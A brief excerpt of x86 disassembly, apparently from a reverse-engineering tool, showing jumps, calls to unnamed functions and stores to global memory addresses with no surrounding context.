je 0x40ddd0
mov dword [eax], ebx
add esp, 8
pop ebx
ret
call fcn.0040db08
jmp 0x40dd85
call fcn.0040da40
mov dword [0x41cc58], eax
jmp 0x40dd7f
call fcn.0040da40
mov dword [0x41cc58], eax
jmp 0x40dd8e
call fcn.0040d9b4
mov dword [0x41cc60], eax
jmp 0x40dda9